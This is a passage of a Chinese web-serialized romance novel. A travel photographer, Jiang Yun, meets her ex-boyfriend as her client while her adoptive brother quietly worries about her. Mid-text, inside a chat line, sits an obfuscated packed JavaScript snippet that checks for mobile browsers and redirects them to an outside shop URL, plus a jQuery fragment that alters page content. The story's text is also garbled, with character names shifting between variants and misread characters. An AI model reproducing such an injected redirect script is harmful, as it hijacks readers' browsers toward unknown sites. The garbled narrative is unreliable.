但阳台上的花仍然有人每天为它浇水,冰箱里缺了的饮料仍然有人为她补上,早上出门餐桌上永远准备了多一份的早餐。 — 温礼昂加班到晚上十一点才回家。 车停进车库,他没有急着坐电梯上楼,而是走到了小区外。 北城夏初的风还没有那么闷热,尚能感受到春的余温,今天天气格外好,这个点还有不少人在夜跑。 温礼昂看向手里的腕表计算着时间,打算等姜筠入睡了,他再上楼。 他不想让她感到不自在。 这十天,两人虽然住在同一个公寓,但却没有任何交流,如同两个陌生的租客。 曾经被她定义为家的地方,现在她却急着搬出去。 电脑的浏览记录里还能看到她发布的帖子,她在标题上写着“急急急!求租金4k以下的小区房,三号线、八号线都可以”。 她没有清除浏览记录的习惯,他时常从这些记录里拼凑出她当天的想法。 几乎有些病态。 温礼昂这些天一直想起大学导师对他的四字评价——“独行其是”。 那位两鬓斑白的老师曾这样评价他:“你们别看小温平时那么好说话,那是因为那些对他来说都是无足轻重的小事,但要是他认定的事,谁也改不了他的主意。” 温礼昂一直都知道,从某个角度来说,他是个很固执、很死板的人。 处理事情,他有自己的一套准则,他认定的事情,极少会改变想法,就像——他划定的线,他永远都不会越过。 他一直很克制,很理性。 他是从那样的环境里长大的,他的人生本来一眼就能看到头,是姜父姜母让他走出了析边村,让他接受了好的教育。 “我们还有个女儿叫姜筠,以后她就是你妹妹了。” 在前往梨城的高铁上,姜永晟对他说了这句话。 从这一刻开始,这就定义了他和姜筠之间的关系——一辈子的家人。 因此,他不能越过那条线,不能让姜父姜母对他失望。 从前,处理和姜筠的关系,他或许有过迷茫,但理智总能占据上风。 不知从什么时候起,许是从高中,又或许更晚一些,他渐渐意识到他和姜筠关系的变化,有时他也会分不清他对姜筠的感情,是亲情、爱情,抑或是两者皆有。 他只知道他不能做那些没有退路的事。 他也交往过几任女朋友,相处过不长不短的时间,他试图判断亲情和爱情是否存在明显的分界点,他对姜筠的占有欲是出自兄长的关心,抑或是其他的原因,他需要辨别他对姜筠的感情。 他需要对姜筠负责,不能因为她单方面说喜欢他,便轻率地下决定。 人不能轻易地被欲望驱使,不能全然被荷尔蒙支配。 他太了解姜筠,她直率又任性,做事不计后果,她考虑的只是“她喜欢他”这一个问题,但他需要考虑的不仅是他自己的感情,还有在一起以后他们要面对的问题,以及如果分开后他们该怎么相处的问题。 他认为他还有足够多时间去思索,去考量,直到姜筠大学交了男朋友—— 想到陈琎的名字,温礼昂太阳穴又开始突突地跳。 他不愿再往下想了。 烟瘾被勾起,香烟却没有随身携带,温礼昂仰头望向夜色深处,胸腔止不住地上下起伏。 心情尚未平复,有出租车在前方停下,一个背着黑色相机包的人正急匆匆地从车上下来。 是认识的人。 温礼昂视线稍顿。 阿黄是来拿相机给姜筠的,没想到在楼下竟遇到了温礼昂,他眼睛亮了亮,还没走近就热情地喊了声:“哥!” “来找阿筠?”温礼昂看向他手里提着的相机包。 “是的。” “这么急?” 现在快十一点半了。 阿黄望向手上的物品:“是啊,特别急,她相机落在公司了,幸好我想起来,不然就麻烦了,明天十点半的飞机呢。” 本来姜筠让他明天直接拿去机场的,他担心自己明早也忘带了,赶紧连夜给她送过来。 “十点半的飞机?”温礼昂抓住了他话里的重点,眉头皱了皱,“去哪?” “姜筠明天就要出差了,你不知道吗?”阿黄愣住。 温礼昂迟疑了片刻:“她还没告诉我。” “不是吧,这次估计要去挺长时间,姜筠竟然没有告诉你,可能是怕跟你分开这么久舍不得吧。”阿黄兀自猜测。 温礼昂但笑不语。 阿黄一聊起天来,几乎忘了自己的主线任务。 “哥,你都不知道每次姜筠出差,一天起码看十次你们的聊天框,我一看她笑嘻嘻的,肯定就是在和你聊天。” “真的?” 温礼昂嘴角弯了弯,可眼神却有些悲伤。 “当然了,绝对保真。”阿黄说得斩钉截铁。 突然想到了什么,温礼昂问:“她男朋友最近有没有来接她下班?” “男朋友?”阿黄以为温礼昂在开玩笑,忍不住笑了出声,“哥,你开玩笑吧,姜筠哪来的男朋友?” 但温礼昂的表情太认真,他敛住了笑容,开始认真回忆起来。 “你说的是那个姓叶的?” “嗯。” “可那个也不是她男朋友啊,我还问过姜筠呢,她立刻否认了,应该就是普通朋友。” “这样,那可能是我误会了”温礼昂点头笑笑。 虽然温礼昂没再说话,但阿黄这才觉得他眼底的笑是发自真心的,那笑意直达眉眼,他心情似乎好了不少。 “那哥,你帮我拿给她?我就不跑上去了。” 阿黄把相机包递给他,温礼昂注视了几秒,迟迟没有接过。 他不确定姜筠此时此刻是否愿意看到他。 “还是麻烦你去一趟吧,”温礼昂并不擅长说谎,视线望向别处,“我在这里等朋友,应该一会就到了。” 阿黄也没当一回事,呲起大牙笑:“没事,那我跑一趟,当锻炼身体了。” 温礼昂笑着嗯了声。 阿黄不是第一次来这里找姜筠,他轻车熟路上了楼,把相机转交给了姜筠,两人在门口闲聊了几句,他鞋都没换,转身又下了楼。 前后不过几分钟的时间。 他想着出门那会,会不会再遇到温礼昂。 “如沐春风”,和温礼昂交谈时,阿黄常常会想起这个成语,他有时也懊恼自己怎么没多读点书,说不定气质也会稍微变好一点。 和他打声招呼就回去了,阿黄想。 可到了小区门外,那里空无一人,四周静悄悄的,好像刚才的交谈只是他一个人的幻觉。 — 次日十点,姜筠按照登机牌的位置,在机舱里坐下。 她坐的是靠窗的位置,阿黄的座位就在她旁边,他这会在过道里帮她放行李,等他坐过来,她给他塞了一颗柠檬糖,又问他:“那俩呢?” 听说那对情侣也是在北城出发,和他们还是同一趟航班,她四处环顾,想知道他们坐在哪。 她准备了点见面小礼物,想着可以过去打声招呼,给人留点好印象。 接下来半个月,几乎每天都要朝夕相处,她祈祷能遇到好说话的客人,这样一路上也能相处得愉快点。 但阿黄下一秒就打断了她的念想:“哦,他们坐的是头等舱,在前面呢,说待 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阿黄放下手机,和她说:“他们电话没打通,发消息也不回,可能这里信号不太好,待会我再联系看看。” “嗯,好。” 姜筠木讷地应了声,刚才睡得晕晕沉沉的,反应还有些迟钝,最先唤醒她知觉的竟然是饥饿。 好几个小时没吃东西,她这会饿得肚子一直叫,等阿黄拿好行李,两人直奔机场一楼的肯德基。 点好餐,她选了个窗边的位置坐下。 她随口问道:“他们要不要吃,需要帮他们点吗?这里人还挺多的,排队也得好一会。” “我问问。” 阿黄拿上手机跑到外面打电话。 没两分钟,阿黄又走了进来。 “他说不吃这种垃圾食品,唉,有钱人可能和我们不一样吧。” “哦。” 姜筠没做任何评价,继续津津有味地吃着炸鸡。 “他们在楼上用餐,待会吃完再过来找我们,”阿黄喝了一口可乐,冰得他龇牙咧嘴的,“我手机信号不太行,我留了你的手机号,待会他们可能会打你的手机。” “好。” 阿黄约莫是还不饿,还能夸夸而谈。 “我看过那俩的照片,很容易认的,长得跟明星似的,人群里一眼就能看到,不用费多大功夫。” 挺好,长得好看,修图都省了不少事。 不过因为阿黄这么说,她倒是开始留意起了机场大厅里路过的人。 她试图在这密密麻麻的人潮里搜索符合描述的人。 不过半个小时过去了,仍是一无所获,手机上也没有收到任何陌生的来电。 看来人还没下来。 姜筠吃完炸鸡又拿起一只蛋挞咬了一口,她和阿黄说说笑笑,一边望向窗外。 阿黄频频看时间:“怎么还没见人,也不给咱打电话——” 最后一个音节刚被空气吞没,姜筠不知看到什么,表情变得僵硬,动作突兀地停了下来。 店里还在放着欢快的音乐,食物的香味就在鼻尖,但她的心情一下低沉了下来,嘴角的笑容在短短一秒钟之内消失得彻底。 世界寂静无声。 看到扶梯上的那个人,姜筠心脏处好像发出了一声闷响,头比刚才在飞机上刚醒过来时还要昏沉。 如果说在她的世界里存在这一辈子不想再见第二面的人,陈琎一定会排在第一位,并且,相信他也是这么认为的。 四目相对,她瞳孔骤然收缩,从陈琎此刻满是阴翳的眼神里,似乎更加印证了她的想法。 毛细血管在扩张,身体有发冷的迹象,姜筠想,别人都是他乡遇故知,她这算什么——他乡遇前任?还是他乡遇仇人? “姜筠,别假惺惺地和我说再见,我这辈子都不想再看到你。” 这是最后一次见面,陈琎留给她的最后一句话。 一字一顿、字正腔圆。 这么多年,姜筠一直没敢忘。 机场人影憧憧,行人步履匆忙,隔着透明的玻璃窗,她看到陈琎拿起手机,拨通了一个号码。 在这个过程里,他一直盯着她,眼底流露出类似挑衅的神色,看得她心里一跳。 手机听筒贴在耳边,修长的手指横握边框,陈琎眉头紧紧皱着,她正疑惑他要打给谁,下一秒,她放在桌面上的手机震动了起来。 她看到屏幕正中央那串号码,怔愣了片刻。 这么多年,她的手机号码没有换。 他的也是。 第十四章 第14章第十四章 手机一直在震动,发出嗡嗡的响声,她看了一眼窗外的陈班,他仍保持着刚才的姿势,手机贴在耳侧。那眼神没有一点善意。 她想起刚才阿黄说的话,他把她的电话号码留给了这次旅行的客人。 这个客人是谁,已经很明显。 甚至她从陈班的神色里也看出了点不可思议的意味。他像是也不知情。 一切都发生得太突然,她拿起手机,望着上面绿色的接通按钮,犹豫了好一会,刚下定决心要按下接听,可电话在这一刻停了下来。 就像是,在戏耍她。 与此同时,阿黄也发现了陈琏,隔着玻璃窗就热情地站起来大拼命和他挥手。 “就是那个穿着度假花衬衫的,我先出去招呼一下,”说完,他又看向桌面上的食物,还有一半都没吃完,他不舍得就这么浪费了,“要不你留下来打包一下剩下的东西。”他和姜筠说话,语气有些急切,大概怕怠慢了客人。“好。” 毕竟是贵客,交代完后阿黄一秒都不敢耽误,随手抽了张餐巾纸擦了两下嘴,就急急忙忙地跑了出去。眼看着阿黄已经上前和他攀谈,姜筠开始慢条斯理地收拾桌面上的食物。 直到这一刻,大脑才得到了片刻的闲暇,她终于有时间去思考接下来要面对的事。 此刻,在天平的两端,一边是她和陈班曾经的那些破事,一边是她现在这份工作。 在这家旅行社工作了这么久,遇见过那么多形形色色的人,她还是第一次萌生了退却的想法。 很快,她用了两个理由说服了自己: 第一个理由是她现在很需要钱。 第二理由同上。 一分钟后,她重整旗鼓,拎着打包好的炸鸡走了出门,换上了工作专用的笑容。 那会陈班的未婚妻刚捧着一杯冰美式走到他旁边,她像是刚买完咖啡出来。 姜筠走近,听见女生在埋怨:“陈班,你怎么都不等我。” 陈班不以为意,低头整理腕表:“我不是在这里等你了?” “我想要你在店里面等我。” ………行。” 这句“行"听出了点不耐烦的意味。 姜筠没再看热闹,瞥开视线,她想,果然这个人没有变过,和当年一样大少爷脾气,习惯了被人捧着,一点耐心都没有,对谁都是这副高高在上的态度。阿黄很懂察言观色,生怕这会两人吵起来,连忙把话题岔开,一边往停车场的方向走,一边自我介绍。“你们好,我叫黄俊鸣,是这次行程的向导和司机,你们叫我阿黄或者小俊都可以,很高兴你们选择了我们旅行社,我一定尽全力让你们满意,我之前跑过好几次这条线,对这边还是比较了解的,这次旅途你们遇到任何问题都可以联系我。” “嗯。” 陈班点头。 按照流程,接下来该轮到姜筠介绍,阿黄回头满眼期待地看着她。 对上陈琏和俞诗荞投过来的视线,姜筠竟有点卡壳,准备好的开场白忘得差不多了,开口时声音有点哑:“你好,我是姜筠,是负责摄影的,希望这次旅程你们能玩得开心。” 阿黄开始捧哏夸她:“你别看我们姜筠这么年轻,但经验可丰富了,入职才一年,客户满意度就已经是我们旅行社前三名了,而且还是T大毕业的高材生一一”从前姜筠不觉得这些话有什么,但这些话现在听起来竞觉得有些尴尬。 正要喊停,旁边的陈班冷笑了声,态度轻蔑,打断了他。 “上车吧,没兴趣听。” 这也太直接了。 阿黄咋舌,额头都冒出了汗,但也没敢说什么,只给了姜筠一个安慰的眼神。 姜筠摇了摇头,示意自己没事。 幸好她对这个人有一定的心理预期,不至于有太大的情绪波动。 不过陈琏这么摆到明面上来,她知道接下来的行程不会太愉快了。 走进停车场,车就停在不远处,阿黄要开车,先一步走过去坐上驾驶座,俞诗荞已经拉开车门坐在后排,姜筠正要上车,忽然身后的陈班开口了。 “把它扔了。” 还是惯常那冷冷的语气。 姜筠一时没反应过来,有些茫然,顺着他的目光,她看到了自己手上拿着的炸鸡。 他就这么下了命令,什么理由也没说,哪怕他多解释一句,因为炸鸡味道太大他不喜欢,或是其他的原因,她都觉得心心里好受一点。 但这就是陈班。 换做是以前,她肯定不会这么逆来顺受的,高低她得噎几句回去,但现在情况不一样,他是尊贵的顾客,是她的上帝,车是他提供的,她的薪水也是他给的,所以他有什么要求都是应该的。 她调整好心态,深呼吸了一口气,微笑点头。“好。” 机场的停车场里不停有车开进来,喇叭声交替响起,喧闹混乱得如同菜市场,头顶的灯光刺眼,陈班眉头紧皱,他就这样站在原地看着姜筠走到角落的垃圾桶,把提了一路的饮料和打包的食物全都扔进去。 扔完后,她转身时还和他微笑示意,随后才拉开了副驾驶座的车门。 陈班有一 刻是懵的。 听话。 他竟然在姜筠身上看到了这个词。 三年不见,她变了不少,虽然还是那张令人生厌的脸,扎着高高的马尾,脖子上时常挂着相机,穿的衣服还是那样廉价,但她确实变了。 “陈班,如果你接受不了我的穿衣风格,那我给你两个选择,第一,去死,第二,你和我分手,重新再找个女朋友,"三年前的姜筠是这么对他说的,“陈班,我不管你是被谁捧着长大的,但我可不惯着你。” 连这样的人,都会变得圆滑,变得讨好。 从前那几分的生动,现在只剩下被生活碾过的痕迹。没劲极了。 等陈班上了车,阿黄这才启动了轿车,他打转方向盘,悄悄从后视镜里看了眼。 陈班靠在后座闭目养神,眼睛紧紧闭着,他未婚妻一直在看手机,像是在和别人聊天,聊得还挺开心心的,嘴角挂着笑容。 车厢里实在太安静,阿黄原本想说些什么活跃气氛,但想到这位陈先生性格阴晴不定的,他担心说了什么话,得罪了人,这会看他在休息,更是不敢打扰。姜筠平时话也不多,这会正看向窗外,不知道在想什么。 幸好机场离酒店也就三十分钟的车程,这沉默不至于蔓延得太久。 到了酒店,阿黄立刻下车去后备箱搬行李,虽然这是他的本职工作,但姜筠看他累得满头大汗,忙前忙后的,也跑过去帮忙。 俞诗荞一个人就有三个行李箱,陈班有两个,她随手拿起一个黑色的行李箱,从后备箱扛出来。那箱子挺沉,她费了些力气,刚放到地上,抬头,发现陈班正在看她。 用一种意味不明的眼神,她不知道那是轻蔑还是别的什么意思,反正她总觉得应该是多少有点瞧不起她。她猜,陈琏此刻是不是在想,以前在一起的时候,她从来没帮他拿过行李,现在,竞然沦落至此。如果他看过网络上那些男频打脸爽文的话,他是不是要和那些爽文男主共情上了。 这么一想,她自己竟然都忍不住笑了笑。 可无论他怎么看待她都无所谓,因为她绝对不会看轻自己。 她刚把行李抬到台阶,酒店的门童就跑过来帮忙,与此同时,陈班的手机响了。 打的是视频电话,因为她听到叶招的声音从他手机里传了过来。 “到酒店了?“叶招问。 “嗯。” “怎么样,我介绍的旅行社不错吧,对了,你见到姜筠没,"像是担心陈班不认识,叶招还补充了句,“就是你们的摄影师,我特意让荞荞一定要让她来跟拍的。”姜筠后背一僵。 陈班表情也有些错愕,沉默几秒后,他把挂在胸口衬衫的墨镜戴了起来。 “见到了。“他回。 陈班的未婚妻俞诗荞也看了过来,用调侃的眼神看着她,姜筠脸皮薄,耳后根没一会就红了。 叶招以为姜筠不在,还在那边说个不停:“阿琏,你可别为难她,我最近在追她呢,你是我兄弟,给我留下点好印象,你和荞荞记得在她面前多说说我的好话。”听到这,陈班扭过头,但隔着墨镜,她看不清他的眼睛,她不确定他是不是在看她,她只看到他嘴角勾了勾。有点讽刺的笑容。 叶招的话很多,即便陈班没给他任何回应。“而且我觉得她对我应该也有点意思,我每次去找她,她也都挺热情的,她家冰箱里现在还放着我喜欢的饮料呢,她自己都不舍得喝。” 姜筠愣住。 …他确定她对他那是热情? 而且冰箱那饮料不是他自己买了放进去的吗?话音落下,空气里安静了几秒,姜筠这回确认,墨镜下陈班一定是在看她。 因为,下一秒,他朝她走了过来。 时间好像停摆了。 陈班走过来那几步,姜筠竞觉得有些紧张。大庭广众之下,她生怕陈班说出点什么不该说的,或者做出什么不该做的。 可陈班走到她面前,什么也没说,他似乎只是盯着她的脖子看了一眼。 是的,她很确定,他在看她的脖子。 有些毛骨悚然。 僵持的那几秒,姜筠在想,他不会是要掐她吧。“人呢?怎么不说话?"陈班始终一言不发,叶沼觉得奇怪,在电话那头喊他。 深呼吸了一口气,陈班把电话拿远了些:“说完了?”“差不多。”叶招傻乎乎地点头。 没有一秒的犹豫,陈班就要挂了电话,但俞诗荞这会把手机拿了过来,和叶招聊了起来。 从他和姜筠是怎么认识的,聊到他们最近三天的微信聊天记录。 经过他的润色,这故事竟听出了点情投意合的意味。姜筠开始怀疑,叶招是不是有被爱妄想症?十分钟后终于挂了电话,俞诗荞和她打趣:“原来叶二喜欢的人是你啊?难怪他跟我说一定要找你们旅行社,还说要找一位姓姜的摄影师,他还夸了你好久呢。”私事被放到台面上讲,姜筠有些难为情。 “你别听他乱说。” 阿黄看出了她的窘迫,顺着俞诗荞的话开起了玩笑。“我可全都听到了,放心,姜筠,到时候我给你作证,回去让老板给你涨工资,年终奖也要翻倍。”姜筠连连点头,也开起了玩 笑:“不用回去了,你现在就给老板打电话。” “行行行。” 俞诗荞听完叶招的描述,已经完全把姜筠当作是叶招的女朋友,态度也客气了不少,挽过她的手臂。“那下次聚会,你也一起来吧,到时候让叶二去接你。” 成年人世界里的"下次"是个很含糊的词,比起具体的约定,更像是某种客套话,姜筠先点头答应了下来,免得让对方尴尬。 “好啊。” 她这边刚应下,不远处的陈班转头看了她一眼。“你长这么漂亮,确实是叶二喜欢的款,他之前谈的女朋友也是你这类型的,不过后来去了美国留学就分手了,去年才回来。” 姜筠恍然,难怪她和陈班在一起时,从来没有见过这个人。 “你们俩还真挺般配的,我是说你的性格能压得住他。” 俞诗荞说完又看向陈班,寻求认同,但他面无表情,也不知道有没有在听她说话。 话僵在那,姜筠一下不知道该怎么接,幸好酒店的工作人员过来询问是否现在需要把行李送到客房,这才打断了此刻的话题。 姜筠连忙说:“那你们先上去休息一会,等你们休息好了,给我们打电话。” “对,你们先去休息,我手机24小时开机的,待会联系我就行。” 阿黄点头,配合地晃了下手机。 这里是五星级酒店,姜筠和阿黄的住宿自然没有这么高的配置,但选的酒店离这也不远,开车就十来分钟,主要还是为了配合他们,方便他们随叫随到。眼看着俞诗荞和陈班已经进了电梯,姜筠和阿黄也准备离开。 忽然,身后传来俞诗荞的说话声。 姜筠听见她问陈班:“阿琏,你觉得呢?”“什么?” “叶二和姜筠是不是很合适?” 但下一秒电梯门关了,姜筠没有听到他的答案。下午三点,瑶甘的太阳还跟正午一样猛烈,走出酒店,姜筠晃了晃脑袋。 想起这短短一个小时内发生的事,姜筠仍觉得不可思议。 她打开叶弦的对话框,本想说点什么,但又觉得没有必要,还是等回去之后见面再和他说清楚吧。她一直没说话,阿黄以为她心情不好,立刻安抚她,拍了下她的肩膀。 “那位陈先生说话是有点难听,你还好吗?”姜筠摇头,如实说:“我没事啊。” “真的?"阿黄不相信。 “当然,"姜筠笑道,“不是你和我说的吗,做这一行什么人都会遇到,只要降低自己的心理预期,就不会轻易被影响情绪了,不要因为对方的一言一语就否定自己,就算对方怎么羞辱你,贬低你,你也不要当回事,因为这是他个人的评价,不代表你就是这样的人。”阿黄没想到这么久之前他说的话她都还记得,一时还有点感动。 他一直以来都把姜筠当自己妹妹,看到她受委屈,心里自然也不好受。 “工作嘛,没有那么顺心的,只要能挣到钱,其他的都不重要。"他还在苦口婆心心地宽慰她。“放心,我真的没事。“姜筠再次和他强调。她不是在强颜欢笑,也不是故作豁达。 很早之前她就发现了,人只会被自己在乎的人伤害到,你越在乎他,越容易被他伤害。 因为你对他有期待,当他与你的预期违背时你才会觉得难过。 但显然,她对陈班,不存在以上两种感情。她对他既没有期待,也没有感情。 很快,她又想到了温礼昂。 烈日当空,太阳炙烤后背,她想到了他塞在她背包里的浅色药包,他那么细心地把药板的每一个尖角都修剪成圆的,避免她取出来时被划伤手。 他贴心心到了这种程度。 连邹淑坋都无法做到这种程度,但他却会留意到。姜筠又想到了覃仪,他对她应该也是那么好吧。或许,比对她更好。 情绪似乎又掉进旋涡,她喉咙有些干涩,正想着,阿黄把车开了过来,上了车,姜筠坐在副驾驶座,有些魂不守舍。 十五分钟后,车到了终点,这十五分钟,是五星级酒店和路边两三百一晚的酒店之间的距离,也是她和陈班之间的距离。 停好车,姜筠和阿黄推着行李箱去办理入住。阿黄凑近和她小声说:“姜筠,你觉不觉得这一对不太像情侣?” “怎么说?"姜筠愣了愣。 “你没发现吗,他们一点都没有情侣那种黏糊的劲儿?在车上两个人坐得离得那么远,手都不碰一下的,话也没说几句,我和我家里介绍的相亲对象都不带这样的,而且,他们订的还是两间房,不是说都快要订婚了吗,竞然还分开住?” 姜筠还真没留意到,不过还是打住了他的话。“你别太八卦。” 讨论客人是大忌,要是被对方听到就得被投诉了。“我也就和你说说而已,当他们的面,我肯定不敢说,”忽然,阿黄想起了什么,问她,“对了,那你和那个姓叶的是男女朋友?” 姜筠更是迷惑,眼睛瞪得浑圆:“你觉得呢?”她以为阿黄还是比较了解她的,怎么连他都这么问?“我觉得不是。” “那你还问?” 阿黄和她解释:“刚才看你们聊天那劲儿,我真以为你和那 个姓叶的在一起了。毕竟你哥昨天晚上问我,我还说你没有男朋友呢。” 要是说错了,他改天得去解释一下。 可姜筠却愣住,握着拉杆的手骤然收紧,她似乎有些不敢相信。 “他问的?” “嗯。"阿黄点头。 “主动问的?” “是啊,"阿黄认真回想,“我昨天去给你送相机,在小区门外看到他了,就聊了几句,他问我,你男朋友最近有没有来接你下班,我吓一跳,我寻思你哪来的男朋友?看你俩的互动,也不像啊。” 阿黄一直觉得自己挺有眼力见儿的,可连他都没发觉,那应该只是普通朋友罢了。 姜筠状态不对,阿黄碰了下她的手臂,问:“怎么了?” “没事。” 进了电梯,门关上,姜筠连楼层数都忘了按。她脑海里还在回想阿黄刚才说的话。 她想知道为什么, 为什么温礼昂会这么问,为什么他会关心她有没有男朋友。 他在乎吗? 如果在乎,又是因为什么? 很多谜团盘踞在大脑里,即便这些谜团都指向同一个答案,可她却首先排除了这个答案。 她只觉得她越来越不了解温礼昂。 回到酒店,她没有洗漱,打算靠在沙发上睡一会。她今天早上七点多就醒了,这会又困又累,尤其大脑还处于过载状态,只想好好休息一会。 刚垫好枕头,手机就弹出消息,噔噔噔,响个不停。原来是阿黄给他们四个拉了个群,方便他们沟通。圆圆的桥(俞诗荞):(我和阿班打算睡会午觉,你们也休息会吧,大概五点半我们联系你。】阿黄立刻发了个O ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323237|141624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' K的手势。 姜筠也紧随其后,在键盘上打字。 【好滴,那你和陈先生好好休息。】 陈班自始至终没在群里发言,当然,她也不在意。奔波了这么半天,她也累了,手机一扔,一闭上眼睛就靠在沙发上睡着了。 一个小时后,她是被电话铃声吵醒的。 是阿黄打过来的电话。 在沙发上摸了会手机,下意识看了眼时间。还不到五点。 怎么那么早。 电话刚接通,阿黄的大嗓门就钻入耳膜。 “老板让我们提前去订餐厅,晚上请两位贵客吃饭,你醒了没,赶快去收拾下,十分钟后楼下见。”姜筠迷迷糊糊地点头,忽然又意识到这不是视频电话,这才嗯了一声。 利索地去洗漱台捧水洗了把脸,然后换衣服,穿鞋下楼。 预定的是当地很有名的餐厅,价格不便宜,在某点评网站上人均标价508,要是再点支红酒,一顿饭就要三四千往上了。 赵胖不是个大方的人,能让他有此举动,只能是对方给得太多了,他稍微从手指缝里漏了点出来,就已经是这种级别的餐厅了。 她不禁好奇,陈琏到底报的是多少钱的团,即便是豪华私人订制团,也不至于让赵胖出手如此阔绰。想起正事,她拉过阿黄,小声问:“你和赵胖说我的事没?” “说了说了,今年的年终奖妥妥的,季度奖金也少不了咱们的。” “行。” 姜筠缓了一口气。 有金钱的滤镜作用,她现在觉得也不是不能忍一忍,起码租房子的预算都能往上再提五百到一千。陈班是六点十五分到的餐厅,他从车上下来那会,姜筠正站在酒店大门迎接他们,一见到他们立刻堆起笑容,几乎成了条件反射。 她笑得灿烂,陈琏反倒愣了愣,随后冷哼了声。他换了身衣服,把那件张扬显眼的度假花衬衫换了,白色T恤,做旧款牛仔裤,头发没有打理,自然地垂在眼睑处,脚上穿着白色球鞋,清爽得像男大学生,姜筠甚至都有一秒的恍惚,笑容变得僵硬。 阿黄还在给俞诗荞拉开车门,陈琏先下了车,朝正门的方向走过来。 陈班比她高了将近二十厘米,走过来时压迫感很强,擦肩而过的那一刻,陈班脚步顿了顿,眼尾扫了她一眼,他压低声线,说了一句话。 他说:“给你多少钱了,让你笑得这么谄媚?”姜筠反应了一秒,确认这句话是对她说的。这话的攻击性有点强,她怔愣了片刻,嘴角的笑容淡了些,陈班反而轻声笑了起来。 很恶劣。 姜筠抿紧嘴角。 这会,阿黄和俞诗荞已经走到跟前。 阿黄看她挂脸,扭头,小声问她:“怎么了?”姜筠只能摇头。 与此同时,俞诗荞也问陈班:“你们说什么了,笑得这么开心?” 陈班仰头望向正在跳跃的楼层数,轻飘飘地说了句:“没什么,只是和姜小姐开了句玩笑。” 姜筠皮笑肉不笑地回道:"嗯,没想到陈先生还挺幽默的,百忙之中还抽空和我开了个玩笑。”她话里有话,怕陈琏当场甩脸色,她说完还硬是挤了个笑容。 电梯门打开,正对面便是镜子,走进去的那一刻,姜筠看到了镜子里的自己。 原来还真的笑得挺谄媚的。 不过她是对他谄媚吗,不是,她是对钱谄媚。包间里,服务员已经布好菜,满满一大桌,都是店里的招牌菜,不出她所 料,陈班果然点了一瓶红酒。餐桌上,阿黄怕场子冷下来,不停地找话套近乎。恰好聊到大学的事情,他问陈班:“陈先生,您大学是在哪里念的?也是在国外吗?” 问的是陈班,姜筠反而筷子顿了顿,心里揪紧。餐巾擦拭嘴角,陈班抬眼看向某处,随后缓缓说道:“不是,在T大。” T大?“阿黄恍然,“诶,那你和姜筠是一个学校?不会还是同一届的吧?” 办理入住的时候,他看过陈班的身份证,和姜筠是同一年的,说不定还真是同一届的。 俞诗荞也忽然反应了过来,有些惊讶:“这么巧,那说不定你和姜筠在学校里还碰见过呢。” 姜筠一听,连连摇头。 “没有,没有见过,我和陈先生都不是同一个系的。”这下俞诗荞都觉得不对劲。 “你怎么知道不是?” 姜筠这下后背都冒出了汗,幸好她大脑转得快,连忙解释:“我看陈先生的气质应该是读金融或者经管之类的,和我读的专业肯定不一样,不过,我也只是猜的。”“你猜得好准!阿班就是读金融的。” 俞诗荞这会看向她的眼神,甚至有点佩服。姜筠开起玩笑:“我平时会看点面相,业余爱好。”“真的?“俞诗荞跃跃欲试,“那你也猜下我是读什么专业的?” 姜筠眼珠子转了转,想起了一些事情,她说:“学舞蹈的?或者播音?” “你太厉害了!“俞诗荞诧异得不行,“我就是播音专业的。” 一片吹捧声中,姜筠都有些不好意思,忽然,坐在对面的陈班嗤笑了声。 心里咯噔了一声,担心他会拆穿,她抬眼看他。陈班这会也在看她,两人对视,他嘴角勾了勾,眼神里尽是鄙夷,仍是那副瞧不起人的模样,可姜筠这次没有回避,直直地看着他,那双像狐狸一样狡黠的眼睛里带着些许恳求。 看起来有些可怜,又有些可爱。 陈班恍惚,有些画面在脑海里闪回,继而重叠。这一刻,他在想,眼前这个人也不是一直都对他那么冷言冷语的,偶尔她也会对他撒娇。 以前他和朋友打游戏的时候,她总喜欢闹他,悄悄走到他身后,把他耳机摘下来,双手挂在他脖子上:“陈班陈班,能不能别玩游戏了,我马上就回宿舍了,你都不陪陪我。再不理我。下次我再也不来了。” 他心一下就软了,就这么爽了朋友的约。 有时,他怀疑她是不是故意的,每次他在书房写论文,她都要来打扰他一下,她晃着他的手:“陈班陈班,陪我一起看电影好不好,太吓人了,我一个人害怕。”他只好把电脑关了,去客厅陪她看乏味的恐怖电影。两个人挨得很近,姜筠紧紧抱着他的手臂,躲在他后面,只有这个时候,姜筠才会主动贴着他。“陈琏,你身上香香的。"她凑近闻了一下他的脖子。她的发丝绕过他的脖子,轻扫了几下,他心里也跟着酥酥麻麻的痒,喉结上下划动。 他还记得那天他喷的香水是Profumun Roma的“燃烧”,是松木在炉火里烧灼的味道,夹杂着焚香,很长一段时间他都没再换过。 “陈珑,怪物出来的时候,一定要蒙住我眼睛,知道吗?″她提出要求。 他一边笑一边应下。 “知道了。” 可十分钟后,她埋怨:“陈班,你手放慢了,我都看到那个怪物了,都怪你。” “嗯,都怪我,"他眼底笑意渐浓,伸手抱她,“别怕,下次不会了。” “那你再抱紧我多一点。” “好。” 他那么没有耐心的人,竟这么耐着性子照做了。后来,他终于知道了,她这些习惯是怎么养成的。晚上八点,这顿饭到了尾声,餐桌上的食物也吃得差不多了。 姜筠今晚喝了不少酒,有点微醺,脸颊微微泛着红,她拿起高脚杯正准备把剩下的全都喝完,阿黄突然cue她。“对了,姜筠你来之前不是给他们二位准备了见面小礼物吗?你还没给他们吧。” 姜筠愣住。 确实是有这么一回事。 但想起她准备的礼物,当对方是陈班的时候,似乎就显得不是那么合适了。 尤其是那…情侣手机壳。 当初她和陈班还在一起的时候,为了膈应温礼昂,她主动要求陈班和她换了很可爱的情侣手机壳。因为很喜欢这款手机壳的图案,她还加上了店长的微信,后来,她当了旅拍摄影师,她想给来旅行的小情侣准备一些小礼物,于是,她想到了情侣手机壳。这个举动本身没什么问题,但好死不死,她这次买的,刚好就是她曾经送给陈班的那一款。 不能说毫不相关,只能说是一模一样。 